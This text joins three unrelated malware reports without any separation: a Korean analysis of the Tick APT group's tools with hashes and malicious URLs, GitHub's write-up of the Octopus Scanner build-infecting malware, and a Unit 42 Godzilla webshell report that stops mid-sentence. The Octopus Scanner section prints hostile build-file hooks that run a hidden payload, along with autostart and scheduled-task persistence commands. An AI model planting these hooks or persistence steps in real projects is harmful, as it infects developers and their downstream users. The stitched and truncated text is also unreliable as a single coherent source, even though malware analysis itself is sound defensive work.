IT서비스 | 2019년 2월 한국 전자부품 공격 악성코드와 동일한 Datper 변형으로 공격 | ## 주요 악성코드 상세 분석 틱 그룹이 사용한 악성코드 종류는 다양하다. 다운로더 역할을 하는 Bisodown(Cpycat, HomamDownloader), Gofarer, 백도어인 Daserf, Datper, Hdoor, Ghostrat, Netboy(Domino, Invader), Ninezero(9002), Xxmm 등을 이용하는 것으로 알려져 있다. Ghostrat 등 일부 악성코드는 온라인에서 구할 수 있는 악성코드를 이용했다. ### 1. 다운로더 (Downloader) #### 1.1) Bisodown (Cpycat, Homam) Bisodown은 Cpycat, Homam, HomamDownloader 등으로도 불리며, 2014년 4월 처음 발견되었다. 2019년 현재도 사용되고 있으며, 다운로더 기능을 가진 악성코드로 한국 기업과 기관 공격에 여러 차례 사용되었다. 다운로더에는 생성 파일 이름, 다운로드 주소, 레지스트리 등의 문자열을 포함하고 있다. 공격자는 공격 대상에게 업무와 관련된 내용으로 위장한 메일을 보낸다. 메일에는 PDF 또는 워드 문서 파일로 위장한 실행 파일을 첨부한다. 사용자가 문서 파일로 보이는 첨부 파일을 열면 실행 파일이 동작하고 다운로더에 의해 추가 악성코드를 다운로드 한다. 2015년 이후 발견된 다운로더 변형은 파일 생성 시 파일 끝에 쓰레기 값 (Garbage data)을 추가해 수십 ~ 수백 메가바이트에 달하는 크기를 갖는다. 또 이 다운로더는 오퍼레이션 비터 비스킷 (Operation Bitter Biscuit)의 Bisoaks 변형을 다운로드하기도 했다. 2018년 5월 국방 분야 관계자에게 보낸 것으로 보이는 샘플 파일의 경우, 공격 대상에게 군대 성폭력과 관련된 문서로 위장한 내용을 보여준다. #### 1.2) Gofarer Gofarer는 2015년에 발견된 다운로더이다. 시만텍 블로그에 언급된 변형은 2015년 11월에 발견된 악성코드로 보인다. 이 악성코드의 디지털 서명을 확인한 결과, ‘Heruida Electronic’이라는 업체의 인증서를 갖고 있으나, 실존하는 업체인지 확인되지 않는다. ### 2. 백도어 (Backdoor) #### 2.1) Daserf (Muirim, Nioupale, Postbot) Daserf는 Muirim, Nioupale, Postbot 등으로 알려진 악성코드로, 2009년에 처음 발견되었다. 국내에서는 2011년 4월에 처음 확인되었다. 그러나 이 악성코드가 본격적으로 알려진 것은 시만텍이 2016년 5월 블로그를 통해 관련 내용을 공개하면서부터다. Daserf 변형들은 대략 30-40 킬로바이트 길이를 갖는다. 일부 변형은 100 킬로바이트 이상의 길이를 갖고 있다. 초기에는 C 언어로 제작되었지만 2013년 이후 델파이로 제작된 변형들도 존재한다. Daserf 변형들은 버전 정보와 같은 특징적 문자열과 파일 끝에 암호화된 C&C 정보를 갖고 있다. #### 2.2) Netboy (Domino, Invader, Kickesgo) Netboy는 Domino, Invader, Kickesgo 등으로 불리며, 델파이로 작성된 악성코드다. 국내에서 2008년에 초기 버전이 발견되었다. 이 변형은 다른 변형과 같이 주요 문자열이 0xC7로 XOR 암호화되어 있지만 DLL 파일 형태이며 2010년 샘플과는 코드도 상당히 다르다. 국내에서 가장 많은 형태의 변형이 발견된 것은 2010년으로, 이후 본격적으로 활동하기 시작했다. ### 3. 키로거 (Keylogger) #### 3.1) keyll.exe 2011년 4월과 5월 사이 Daserf에 감염된 일부 시스템들에서 keyll.exe라는 파일명을 가진 키로거가 발견되었다. 이 키로거가 실행되면 c:\windows\log.txt 파일에 사용자가 입력하는 키 내용이 저장된다. #### 3.2) apphelp.dll (k6.dll, linkinfo.dll) 2017년과 2018년에 Bisodown이나 Datper에 감염된 시스템들에서 또 다른 키로거가 발견되었다. 감염된 시스템에서 발견된 키로거의 파일 이름은 apphelp.dll, k6.dll, linkinfo.dll 등이며 약 40-50 킬로바이트 길이를 갖고 있다. ## 주요 공격 도구 분석 안랩은 틱 그룹이 보유한 다양한 공격 도구를 확인했다. 이들 도구 중 일부는 실제 공격에 사용됐다. ### 1. 빌더 (Builder) #### 1.1) Anti-AV Anti 1.0은 국내에서 널리 사용되는 국산 백신 프로그램을 공격하는 악성코드를 생성하는 도구이다. 이 도구를 이용해 생성된 악성코드는 국산 백신 프로그램을 공격하는 프로그램을 생성한다. #### 1.2) NForce 2011년에 제작된 NForce는 취약점을 공격하는 악성 PDF를 생성하는 프로그램이다. 틱 그룹이 이 툴을 사용했는지의 여부는 확인되지 않았다. #### 1.3) ShadowDawn 2016년에 발견된 ShadowDawn 빌더는 Xxmm 빌더와 UI가 유사하다. 설정을 통해 다운로드 주소와 다운로드 받는 파일의 이름과 경로를 지정할 수 있으며, 클라우드 환경에 대비하기 위한 ‘anti-Cloud’ 기능이 존재한다. #### 1.4) xxmm2_steganography Xxmm 악성코드는 이미지 속에 악의적인 명령을 숨기는 스테가노그래피 기법을 사용하고 있다. 스테가노그래피 내용을 추가해주는 생성기인 xxmm2_steganography.exe가 발견되었다. ### 2. 콘트롤러 (Controller) #### 2.1) Netboy 콘트롤러 Netboy 악성코드를 생성하고 감염 시스템의 악성코드를 조종하는 프로그램이다. 이 생성기를 통해 Netboy 악성코드를 생성할 수 있으며, Server.mod 파일을 기반으로 설정을 추가해 악성코드를 생성한다. #### 2.2) Xxmm 콘트롤러 Xxmm의 생성기는 다수의 버전이 존재하는데, 초기 버전은 2014년에 제작되었다. 초기 버전의 파일 이름은 gh0st.exe이지만 프로그램 이름은 ‘xxmm Version 1.0’이다. 2015년 2월, xxmm2_build가 발견되었다. #### 2.3) NetGhost 넷고스트 (NetGhost)는 2014년부터 2017년까지 발견된 악성코드 생성 및 콘트롤러이다. ‘Modified From Gh0st 3.6’과 같은 문자열로 미루어 Gh0st을 기반으로 제작되었을 가능성이 있다. ### 3. WCE (Windows Credentials Editor) WCE(Windows Credentials Editor)는 윈도우 시스템 계정 정보를 알 수 있는 프로그램이다. 공격자는 2013년에 WCE.EXE를 사용했다. 64비트 WCE는 2014년에 처음 발견되었다. 2016년 6월에 발견된 64비트 WCE의 파일명은 wc64.exe였으며, 앞서 살펴본 Gofarer 악성코드에서 발견된 ‘Heruida Electronic Technology Co., Ltd.’의 인증서로 디지털 서명되었다. ### 4. 미미카츠 (Mimikatz) 공격자는 WCE가 더 이상 유용하지 않게 됨에 따라 2015년부터 계정 정보 탈취에 미미카츠 (Mimikatz)를 이용한다. Datper 악성코드에 감염된 시스템에서 mi.exe, m3.exe 등의 파일 이름을 가진 미미카츠 변형이 발견되었다. ## 결론 2016년 이후 본격적으로 알려지기 시작한 틱 그룹은 그 보다 앞선 지난 2008년부터 10여 년 간 한국과 일본에서 지속적으로 공격을 전개하고 있다. 틱 그룹은 다양한 악성코드와 공격 도구를 이용하고 있기 때문에 단순히 악성코드만으로 공격의 배후를 해당 그룹으로 단정하기에는 한계가 있다. 그러나 지금까지 살펴본 것처럼 일부 공격 사례에 사용된 악성코드 사이에 뚜렷한 연관성이 보인다. 대표적으로 Gofarer 악성코드의 인증서 서명과 동일한 서명이 일부 Wc.exe에서도 발견되었다. 또 Daserf에 감염된 시스템에서 Netboy가 발견되거나 Ninezero에 감염된 시스템에서 Netboy가 함께 발견되기도 했다. 다만 일부 악성코드는 연관성을 파악하기 어려운 특징이 나타나기도 했다. 일부 Bisodown의 경우, 이 그룹에서 사용하는 악성코드뿐만 아니라 다른 그룹의 악성코드로 알려진 Bisonal 계열의 악성코드를 다운로드하기도 했다. Bisodown에 대한 자세한 정보는 2019년 1월 안랩이 공개한 ‘오퍼레이션 비터 비스킷 (Operation Bitter Biscuit 2018년 활동)’을 참고할 수 있다. 2018년 10월에는 시스코 탈로스에서 이 그룹과 Emdivi 악성코드를 사용하는 그룹과의 연관 가능성을 언급하기도 했다. 안랩이 틱 그룹에 대해 추적하던 중 이들이 사용한 다수의 악성코드 생성 및 콘트롤러와 각종 공격 도구를 확인할 수 있었다. 다만, 이들 악성코드 생성기가 언더그라운드 포럼에서 널리 이용되고 있는지에 대해 추가 확인이 필요할 것으로 보인다. 해당 악성코드 생성기가 널리 알려져 있다면, 이 그룹과 상관없는 사람들도 관련 악성코드로 공격할 수 있어 이 그룹만의 고유한 특징이 될 수 없기 때문이다. 보다 명확하게 틱 그룹과의 연관성을 밝혀내기 위해서는 악성코드뿐만 아니라 C&C 서버 등의 특징을 확인해야 하며, 목표 대상의 내부에서 악성코드가 이동한 방법, 즉 래터럴 무브먼트 (Lateral movement)를 파악하는 등의 작업이 필요하다. 안랩이 틱 그룹의 활동을 추적한 결과, 한국과 일본의 공격에 사용된 기법이나 악성코드에 일부 차이가 있지만 다수의 동일한 점을 확인할 수 있었다. 그러나 여전히 밝혀지지 않은 부분이 많다. 따라서 틱 그룹의 활동을 추적하기 위해서는 이 그룹이 주로 활동하고 있는 한국과 일본 분석가들의 지속적인 협력이 필요하다. 안랩은 틱 그룹을 연구하는 국내외 연구가들과의 협력을 언제나 환영한다. ## 안랩 제품 대응 현황 안랩 V3 제품군에서는 틱 그룹과 관련된 악성코드를 다음과 같은 진단명으로 탐지하고 있다. (단, 다양한 변형이 존재하기 때문에 각 변종에 대한 진단 가능 엔진 버전 (날짜)은 표기하지 않았다.) - Dropper/Win32.Homam - Trojan/Win32.Daserf - Trojan/Win32.Datper - Trojan/Win32.Domino - Trojan/Win32.Gofarer - Trojan/Win32.Homamdown - Trojan/Win32.MalCrypted - Trojan/Win32.Netboy - Trojan/Win32.Xxmm - Win-Trojan/Injector.37100 ## IoC (Indicators of Compromise) 정보 ### 1. 주요 샘플 파일명 - actray.exe - apphelp.dll - conhost.exe - contray.exe - dllh0st.exe - hp.exe - keyll.exe - linkinfo.dll - m3.exe - mi.exe - msbst.exe - msinfo.exe - mskes.exe - mskntes.exe - msndos.exe - msupdata.exe - msviewer.exe - srvhost.exe - swchost.exe - taskemg.exe - taskh0st.exe - v3lite.exe - videohost.exe - w3wp.exe - winsate.exe ### 2. 해쉬 (MD5) | 샘플 파일 | MD5 | |------------|-----| | Bisodown | 068aae4c99a42f224b45b9f8d5d30109 | | | 2b91011e122364148698a249c2f4b7fe | | | 3c6e67fc006818363b7ddade90757a84 | | | 5f7a5ae8d568076ea496c3b97dd6afb5 | | | 5f7a5ae8d568076ea496c3b97dd6afb5 | | | 61654e3eacb22abeafa14ef5db7f1f57 | | | e470b7538dc075294532d8467b1516f8 | | Gofarer | 4601e75267d0dcfe4256c43f45ec470a | | | 7ec173d469c2aa7a3a15acb03214256c | | | 82ec6f2aadf4abb7e05c0c78e9dedc93 | | | 8d5bf506e55ab736f4c018d15739e352 | | | db909c50b4f3263ef769028d9680a37f | | Daserf | 653b69481b4ceaf851e2adc509e5b1b5 | | | f92f8bddd98442cd2eb7a36e88ccc755 | | Netboy | 054cff8c56245c547933379fa17b1c99 | | | 0e8cc305bc58d256f94eee1ffe3eafb5 | | | 15898db67616370940073d5edf42238b | | | 1f2a2d49430583bb89cf72cd07a56370 | | | 1fa904dacaf15db97293c86c5963503f | | | 34bad798c01b4b52d708c1409590ea30 | | | 3dce29291a34b4ebf9f29404f527c704 | | | 537d16b7bad05afd9e40e99346bb9e65 | | | 753ac3700a31f8a68f8ed49385bf72d8 | | | 893f4b3c99c3865db68e1e1c9e7980e0 | | | 8d90282a98f035b0778de6884d7720c0 | | | 8ec48da5c519219917aca249288dddb5 | | | ef21e6c67b492c98850ea014e4f1db09 | | Ninezero (9002) | 0ffd2dbc6f5d666b1cf4dd5f9fcb9eb1 | | | 181d4f01c8d6d1abae0847ce74e24268 | | | 7246a7528649333dc64b03e46d84c9f0 | | | 955a2287fb560b1b9f98ae131a13558b | | | 9c0725278b6276783a8c21b4235c6283 | | Xxmm | 043a2833d1654f65120113d2453219b3 | | | 73c79f84361fc8d74ec53c36e07b39e6 | | | 8bca3dee891407a7da3987a43e39a9fe | | | db1bc0b42be04ae1add09ab50bdc1c9d | | | dc0ef0b3fbfe4723eea4c353ad2f3e8f | | | e981311a895719d0accb12c714f00689 | | Datper | 2246524a940683315e65f143ff97ee20 | | | 28923dff8548f26dc25c48d5f69fce1c | | | 416b22173debe86d4a98a8d141a87fdd | | | 5dec86b6c5cfa94bf97345935725f20f | | | 6b5ce7fb6dd1e588fd61c3a44720fc7a | | | 8e60d4502c8234610b833e33f91c5728 | | | a287d48e7eed8f4ce4ba1caa5470b8f3 | | | c4c068126a11c1e60863f88f6ad5f779 | | | da06832bb5e6618b515b61bee7c2dd58 | | | e7106830a518149633095247c03e390d | | | ec0ef96943300ef5030245b420dbc706 | | Keylogger1 | b60a5a392b450dc49fb1a64528a9caab | | | d34241f92bf138d48d5bac82c46ffafe | | Keylogger2 | 1c2b1eb6e3e33f01e81be5998d08a38b | | | 4eaaa4b603807b15dcb9dace33a0636f | | | 7f98ff2b6648bd4fe2fc1503fc56b46d | | | e439965f45cb869aa00e443732973a22 | ### 3. 관련 도메인, URL 및 IP 주소 - http://isozaki.sakura.ne.jp/Pict/index.php - http://patane.myonlineportal.org - http://www.51cs.net/zy/images/colorpicker/s.php - http://www.51cs.net/zy/images/patterns/preview/deleteComments.php - http://www.aucsellers.com/rim/images/01/js/js/index.php - http://www.lunwe.com/wp-includes/images/wlw/img/site.php - http://www.wco-kyousai.com/ex-engine/modules/comment/queries/deleteComment.php ## 참고 문헌 1. Adobe Zero-day Used in LadyBoyle Attack 2. LadyBoyle Comes to Town with a New Exploit 3. Tick cyberespionage group zeros in on Japan 4. Attackers that Target Critical Infrastructure Providers in Japan 5. Old Malware Tricks To Bypass Detection in the Age of Big Data 6. ShadowWali: New variant of the xxmm family of backdoors 7. Yu Nakamura, Detecting Datper Malware from Proxy Logs 8. Tracking Tick Through Recent Campaigns Targeting East Asia 9. Shusei Tomonaga, ‘공격 그룹 Tick에 의한 일본의 조직을 타겟으로 한 공격 활동' 10. Understanding Command and Control - An Anatomy of xxmm Communication 11. Operation Bitter Biscuit in 2018 - Korean 12. Operation Bitter Biscuit in 2018 –English 13. Steve Su, TeamT5, Personal Communication 14. Kaoru Hayashi/PaloAlto Networks, Personal Communication
# The Octopus Scanner Malware: Attacking the Open Source Supply Chain Securing the open source supply chain is an enormous task. It goes far beyond a security assessment or just patching for the latest CVEs. Supply chain security is about the integrity of the entire software development and delivery ecosystem. From the code commits themselves, to how they flow through the CI/CD pipeline, to the actual delivery of releases, there’s the potential for loss of integrity and security concerns throughout the entire lifecycle. In the past few years, the open source supply chain experienced a variety of attacks. From developer credential hijacks aimed at introducing backdoors, like in the event stream incident, to a seemingly nonstop stream of typosquatting attacks against popular package managers such as npm and pypi. Sometimes something as innocent as a misinterpreted warning can make a developer comment out a single line to dramatic effect. The line between backdoor and typo can often be hard to differentiate, and often the circumstances of the commit, not the commit itself, are the only clear indication of intent. More blatantly, the build pipelines themselves may also be actively compromised, like in the Webmin incident. Other historical examples include making backdoored toolchains available for download that then introduce backdoors in compiled code like in the infamous malicious XCode incident. On March 9, we received a message from a security researcher informing us about a set of GitHub-hosted repositories that were, presumably unintentionally, actively serving malware. After a deep-dive analysis of the malware itself, we uncovered something that we had not seen before on our platform: malware designed to enumerate and backdoor NetBeans projects, and which uses the build process and its resulting artifacts to spread itself. In the course of our investigation, we uncovered 26 open source projects that were backdoored by this malware and that were actively serving backdoored code. ## Octopus Scanner GitHub’s Security Incident Response Team (SIRT) received its initial notification about a set of repositories serving malware-infected open source projects from security researcher JJ. SIRT routinely receives and triages reports of bad actors abusing GitHub repositories to actively host malware or attempting to use the GitHub platform as part of a command and control (C2) infrastructure. But this report was different. The owners of the repositories were completely unaware that they were committing backdoored code into their repositories. JJ provided a great level of detail about which repositories were vulnerable as well as a high-level description of what the malware, dubbed “Octopus Scanner,” was actually doing. They noted: - The malware is capable of identifying the NetBeans project files and embedding malicious payload both in project files and build JAR files. Below is a high-level description of the Octopus Scanner operation: - Identify user’s NetBeans directory - Enumerate all projects in the NetBeans directory - Copy malicious payload `cache.dat` to `nbproject/cache.dat` - Modify the `nbproject/build-impl.xml` file to make sure the malicious payload is executed every time the NetBeans project is built - If the malicious payload is an instance of the Octopus Scanner itself, the newly built JAR file is also infected. Even though the malware C2 servers didn’t seem to be active at the time of analysis, the affected repositories still posed a risk to GitHub users that could potentially clone and build these projects. Unlike other GitHub platform abuse cases, the repository owners were most likely completely unaware of the malicious activity, and therefore swiftly blocking or banning the maintainers was not an option for SIRT. GitHub Security Lab conducted an investigation of the malware to figure out how it was spreading and, more importantly, how to properly remove it from infected repositories, without having to shut down user accounts. ## Infection Details As described by JJ, once a user was infected by the Octopus Scanner, it went on to search for indications that the NetBeans IDE was in use on the developer system. If that wasn’t the case, it wouldn’t take any further actions. However, if it was found, the malware would proceed to backdoor NetBeans project builds through the following mechanisms: 1. It makes sure that every time a project was built, any resulting JAR files got infected with a so-called dropper. A dropper is a mechanism that “drops” something to the filesystem to execute. When executed, the dropper payload ensured local system persistence and would subsequently spawn a Remote Administration Tool (RAT), which connects to a set of C2 servers. 2. It tries to prevent any NEW project builds from replacing the infected one, to ensure that its malicious build artifacts remained in place. We initially planned to get in contact with the owners of the infected repositories, send them a pull request to delete `nbproject/cache.dat`, and clean up their `nbproject/build-impl.xml` files. The expectation was that this might be enough to clean out the repositories. While this wouldn’t resolve any local infections that affected the developers, it would halt the active spread through the GitHub platform as the developers addressed their local platform security. However, a deeper analysis of this malware proved us wrong. These simple steps wouldn’t be sufficient since the malware also infected any JAR files that were available in the project, such as dependencies—not necessarily just build artifacts. Even though we could only access one sample of Octopus Scanner (the build infecter), when reviewing infected repositories, we found four different versions of infected NetBeans projects and all but one of them, a downstream system (for example, someone who cloned an infected project), would get infected by either building from an infected repository or using any of the tainted artifacts that resulted from an infected build. The other variant would perform a local system infection but leave build artifacts untouched. ## Technical Analysis We started our analysis with a sample of the Octopus Scanner malware, without taking into account any initial infection vectors. As we can see in the VirusTotal dashboard, this malware has a low detection rate of 4 out of 60, so it could easily go unnoticed. **VirusTotal:** - VT Detection Rate: 4/60 - VT First Submission: 2019-02-02 03:51:36 - VT Latest Contents Modification: 2019-01-27 16:19:40 The following diagram shows the different parts of the malware: The malware disguises itself as an `ocs.txt` file, but we can easily determine it is actually a Java Archive (JAR) file: ```bash ➜ nbproject_malware/samples master ✗ file ocs.txt ocs.txt.jar: Zip archive data, at least v1.0 to extract ➜ nbproject_malware/samples master ✗ binwalk ocs.txt ``` The JAR Manifest for the first stage dropper shows us that the `octopussetup.OctopusSetup.main()` method runs on entry. Then, this method drops the second stage payload to the victim system. On UNIX-like systems, the first stage dropper will perform the following steps: - Extract the second stage payload `octopus.dat` to `$HOME/.local/share/octo` - Create `$HOME/.config/autostart/octo.desktop` with the following contents: ``` #!/usr/bin/env xdg-open [Desktop Entry] Type=Application Name=AutoUpdates Exec=/bin/sh -c "java -jar $HOME/.local/share/octo" ``` This auto starts the second stage payload for any desktop session for that user. The malware uses the file system separator to decide how to proceed. Note that it treats Linux and MacOS in the same way, but the infection only works on Linux systems. On Windows systems, it: - Extracts the second stage payload `octopus.dat` to `%TEMP%\..\Microsoft\Cache134.dat` - Runs `schtasks /create /tn LogsProvider /tr javaw -jar %TEMP%\..\Microsoft\Cache134.dat /sc MINUTE /f` to schedule a task - Runs `schtasks /run /tn LogsProvider` to actually spawn the scheduled task The most interesting part of the malware exists in this second stage payload `octopus.dat`, which, as we can infer from the way it gets executed, is just another Java Jar file. ## Infecting the NetBeans Build The `octopus.dat` payload is the binary that actually performs the NetBeans build infections. **VirusTotal:** - VT Detection Rate: 2/61 - VT First Submission: 2019-02-02 08:16:25 - VT Latest Contents Modification: 2019-01-27 16:18:54 The sample we are analyzing belongs to version 3.2.01 of this malware. The versioning scheme is an indication that this malware was developed in a structured way. When we take a closer look, we can see that it will run the `octopus.OctopusScanner.main()` method, which will perform the following actions: 1. Scan `$APPDATA/NetBeans` or `$HOME/.netbeans` for `config/Preferences/org/netbeans/modules/projectui.properties` files. These files contain information about any NetBeans projects available in the system. 2. Search `projectui.properties` for `openProjectsURLs.XXX` entries. These entries represent NetBeans projects by their `file://` URIs. 3. Infect each NetBeans project. For each project found, the malware will infect it by: - Dropping an innocent-looking file called `cache.dat` into `<PROJECT>/nbproject/` - Modifying `<PROJECT>/nbproject/build-impl.xml` in such a way that `cache.dat` will get executed as part of the build process itself. A NetBeans project build consists of multiple steps, but the Octopus Scanner malware is only interested in the `pre-jar` and `post-jar` tasks. The pre-jar tasks provide hooks into the build at the point where all Java classes are compiled but before they are zipped into a final JAR artifact. The post-jar tasks provide hooks into the build at the point the JAR has actually been created. In order to access these build hooks, the malware will search for the following entries: ```xml <target name="-pre-jar"> <!-- Empty placeholder for easier customization. --> <!-- You can override this target in the ../build.xml file. --> </target> ... <target name="-post-jar"> <!-- Empty placeholder for easier customization. --> <!-- You can override this target in the ../build.xml file. --> </target> ``` For the pre-jar hooks, it will inject a `<java>` subtask that will execute `cache.dat` (the infecter) for every class added to the JAR file: ```xml <target name="-pre-jar"> <java jar="nbproject/cache.dat" failonerror="false"> <arg value="-pre-jar"/> <arg value="${build.classes.dir}"/> </java> </target> ``` For the post-jar hooks, it will also run `cache.dat` but with a different set of arguments. ```xml <target name="-post-jar"> <java jar="nbproject/cache.dat" failonerror="false"> <arg value="-post-jar"/> <arg value="${build.classes.dir}"/> </java> </target> ``` `cache.dat` is responsible for backdooring the built classes so that when these classes get executed, they will infect the underlying system. We will go into more detail about this in a bit. As previously mentioned, during the analysis we found that Octopus Scanner will not stop there. It also scans the `<PROJECT>` directory for any JAR files and backdoors those in a way that is similar to how `cache.dat` infects built classes. This last step makes it difficult to automatically clean infected repositories. We cannot just delete those JAR files since they are most likely required dependencies for the project. ## Infecting the System At this point in the infection chain, the malware was able to infect both the build artifacts as well as any project dependencies, but it did not drop any files to persist in the underlying system yet. The actual system infection process will be carried out by `cache.dat`. As with biological viruses, most malware attempts to spread as broadly as possible. Infecting systems that were already infected would be moot. Infecting build artifacts is a means to infect more hosts since the infected project will most likely get built by other systems and the build artifacts will probably be loaded and executed on other systems as well. Since our malware sample uses a hardcoded name for the first stage dropper (`cache.dat`) and because it is always placed in a static location (`<PROJECT>/nbproject`), we were able to query GitHub repositories for any infected projects for the known variants of the malware. By doing so, we were able to harvest four different samples of this malware: ``` -rw-r--r-- 1 pwntester staff 14203 Apr 30 12:52 cache.dat_18107f2a3e8c7c03cc4d7ada8ed29401 -rw-r--r-- 1 pwntester staff 142513 Apr 30 12:52 cache.dat_aea4ce82d4207d2e137a685a7379f730 -rw-r--r-- 1 pwntester staff 139898 Apr 30 12:52 cache.dat_bcb745a7dae7c5f85d07b7e9c19d030a -rw-r--r-- 1 pwntester staff 139898 Apr 30 12:52 cache.dat_dc2e53334b6f20192e2c90c2c628e07a ``` Note that the first sample has a completely different size. It’s safe to assume that this sample will stand out from the crowd and the other samples will only have minor differences between them. Let’s verify that with further analysis of our sample set. ### Sample Analysis **Sample 1: `cache.dat_18107f2a3e8c7c03cc4d7ada8ed29401`** - VT Detection Rate: 1/61 - VT First submission: 2018-08-26 12:48:34 - VT Earliest Contents Modification: 2018-03-30 23:34:58 This was probably one of the earliest, if not the first, version of the malware since this version does not infect the classes in the JAR file being built. Instead, it infects the system directly. Therefore, this version will only spread through tainted repository cloning and building, while the other samples will also spread when any of the resulting build artifacts are loaded and used. On UNIX-like systems, it will drop the following files: 1. `$HOME/Library/LaunchAgents/AutoUpdater.dat` - This is a Java Jar file which runs the `fen.Main.main()` method which in turn downloads and installs a RAT-like tool. 2. `$HOME/.local/share/bbauto` - This is the same as `AutoUpdater.dat`. 3. `$HOME/Library/LaunchAgents/AutoUpdater.plist` - This auto-launcher runs the `AutoUpdater.dat` dropper. 4. `$HOME/.config/autostart/none.desktop` - This auto-launcher launches the `bbauto` dropper. 5. `$HOME/.config/autostart/.desktop` - This file will run a script provided by the C2. 6. `$HOME/Library/LaunchAgents/SoftwareSync.plist` - Similar to the step above, it runs a script provided by the C2. Note the explicit support for MacOS specific launch paths as well as XDG’s .config mechanism which is popular on many Linux distributions. On a Windows system, it will drop the RAT dropper into `%TEMP%\..\Microsoft\ExplorerSync.db` and then use Java reflection to run the dropper via `schtasks /create /tn ExplorerSync /tr "javaw -jar %temp%\..\Microsoft\ExplorerSync.db" /sc MINUTE /f`. **Sample 2: `cache.dat_aea4ce82d4207d2e137a685a7379f730`** - VT Detection Rate: 16/60 - VT First submission: 2018-05-20 22:22:28 - VT Earliest Contents Modification: 2018-04-13 13:10:58 This version of the malware executes in two stages of the NetBeans build: `pre-jar` and `post-jar`. The `-pre-jar` task is responsible for infecting the classes that are about to be jarred. This infection will essentially replicate itself as a hidden dropper in these classes so that when they are executed, they will infect the system by dropping the same files which were dropped directly by the first sample. The `-post-jar` task will then create two empty files, `.netbeans_automatic_build` and `.netbeans_update_resources`. These files are markers denoting that the contents of the build are in an up-to-date state. This bypasses the compile-on-save mechanism to prevent project rebuilds. **Sample 3: `cache.dat_bcb745a7dae7c5f85d07b7e9c19d030a`** - VT Detection Rate: 13/60 - VT First submission: 2020-03-08 17:58:04 - VT Earliest Contents Modification: 2018-09-23 12:51:02 This version is probably an earlier version of the second sample. The main difference is in the name of the dropped files: - `$HOME/Library/LaunchAgents/Main.class` instead of `$HOME/Library/LaunchAgents/AutoUpdater.dat` - `$HOME/.local/share/Main.class` instead of `$HOME/.local/share/bbauto` **Sample 4: `cache.dat_dc2e53334b6f20192e2c90c2c628e07a`** - VT Detection Rate: 5/61 - VT First submission: 2019-02-02 12:41:48 - VT Earliest Contents Modification: 2019-01-27 16:18:46 This version is practically identical to the third sample and likely a minor release to reduce hash-based detection. By making minor changes in the build artifacts of a malware, the authors can throw off the hash-based detection that many AV engines and EDR solutions rely on. ## Deobfuscating the Malware Running the `strings` command on `cache.dat` or the backdoored classes will not render any interesting analysis because our malware samples actively obfuscate their code to make this harder. More specifically, the droppers in our sample set combine three different data blobs, of up to 1024 bytes each, into a single-encrypted data blob by chaining methods. Being able to access this decrypted data will give us a good idea of what the malware is actually doing. In order to get to this data right after it gets decrypted, we used a Java instrumentation agent that modifies the Bytecode of the class responsible for decrypting the blob right before it actually gets loaded into the JVM. By inspecting the `/tmp/memory_dump` file, we obtain a much clearer understanding of what the malware is doing. ## Conclusions While we have seen many cases where the software supply chain was compromised by hijacking developer credentials or typosquatting popular package names, a malware that abuses the build process and its resulting artifacts to spread is both interesting and concerning for multiple reasons. In an OSS context, it gives the malware an effective means of transmission since the affected projects will presumably get cloned, forked, and used on potentially many different systems. The actual artifacts of these builds may spread even further in a way that is disconnected from the original build process and harder to track down after the fact. Since the primary-infected users are developers, the access that is gained is of high interest to attackers since developers generally have access to additional projects, production environments, database passwords, and other critical assets. There is a huge potential for escalation of access, which is a core attacker objective in most cases. It was interesting that this malware attacked the NetBeans build process specifically since it is not the most common Java IDE in use today. If malware developers took the time to implement this malware specifically for NetBeans, it means that it could either be a targeted attack, or they may already have implemented the malware for build systems such as Make, MsBuild, Gradle, and others as well and it may be spreading unnoticed. While infecting build processes is certainly not a new idea, seeing it actively deployed and used in the wild is certainly a disturbing trend. As such, GitHub is continuously thinking about ways we can improve the integrity and security of the OSS supply chain. This includes features to help detect issues in your dependencies, using Dependency Graph, security alerts for vulnerable dependencies, and automated security updates; and features to help detect potential issues in your code, including code scanning and secret scanning. And of course, we maintain an active response channel and research capability through GitHub SIRT and GitHub Security Lab, as well as initiatives such as the Open Source Security Coalition. Thanks to JJ (@dfir_it), @anticomputer, @jayswan, @nicowaisman, and @swannysec for the contribution to this research and blog post.
# Godzilla Webshell **By Robert Falcone, Jeff White and Peter Renals** **November 8, 2021** **Category: Unit 42** **Tags: APT, backdoor, Credential Harvesting, credential stealer, KdcSponge, ManageEngine, NGLite, TiltedTemple, Trojan, Zoho** ## Executive Summary On Sept. 16, 2021, the US Cybersecurity and Infrastructure Security Agency (CISA) released an alert warning that advanced persistent threat (APT) actors were actively exploiting newly identified vulnerabilities in a self-service password management and single sign-on solution known as ManageEngine ADSelfService Plus. The alert explained that malicious actors were observed deploying a specific webshell and other techniques to maintain persistence in victim environments; however, in the days that followed, we observed a second unrelated campaign carry out successful attacks against the same vulnerability. As early as Sept. 17, the actor leveraged leased infrastructure in the United States to scan hundreds of vulnerable organizations across the internet. Subsequently, exploitation attempts began on Sept. 22 and likely continued into early October. During that window, the actor successfully compromised at least nine global entities across the technology, defense, healthcare, energy, and education industries. Following initial exploitation, a payload was uploaded to the victim network which installed a Godzilla webshell. This activity was consistent across all victims; however, we also observed a smaller subset of compromised organizations who subsequently received a modified version of a new backdoor called NGLite. The threat actors then used either the webshell or the NGLite payload to run commands and move laterally to other systems on the network, while they exfiltrated files of interest simply by downloading them from the web server. Once the actors pivoted to a domain controller, they installed a new credential-stealing tool that we track as KdcSponge. Both Godzilla and NGLite were developed with Chinese instructions and are publicly available for download on GitHub. We believe threat actors deployed these tools in combination as a form of redundancy to maintain access to high-interest networks. Godzilla is a functionality-rich webshell that parses inbound HTTP POST requests, decrypts the data with a secret key, executes decrypted content to carry out additional functionality, and returns the result via an HTTP response. This allows attackers to keep code likely to be flagged as malicious off the target system until they are ready to dynamically execute it. NGLite is characterized by its author as an “anonymous cross-platform remote control program based on blockchain technology.” It leverages New Kind of Network (NKN) infrastructure for its command and control (C2) communications, which theoretically results in anonymity for its users. It's important to note that NKN is a legitimate networking service that uses blockchain technology to support a decentralized network of peers. The use of NKN as a C2 channel is very uncommon. We have seen only 13 samples communicating with NKN altogether – nine NGLite samples and four related to a legitimate open-source utility called Surge that uses NKN for file sharing. Finally, KdcSponge is a novel credential-stealing tool that is deployed against domain controllers to steal credentials. KdcSponge injects itself into the Local Security Authority Subsystem Service (LSASS) process and will hook specific functions to gather usernames and passwords from accounts attempting to authenticate to the domain via Kerberos. The malicious code writes stolen credentials to a file but is reliant on other capabilities for exfiltration. Palo Alto Networks customers are protected against this campaign through the following: - Cortex XDR local analysis blocks the NGLite backdoor. - All known samples (Dropper, NGLite, 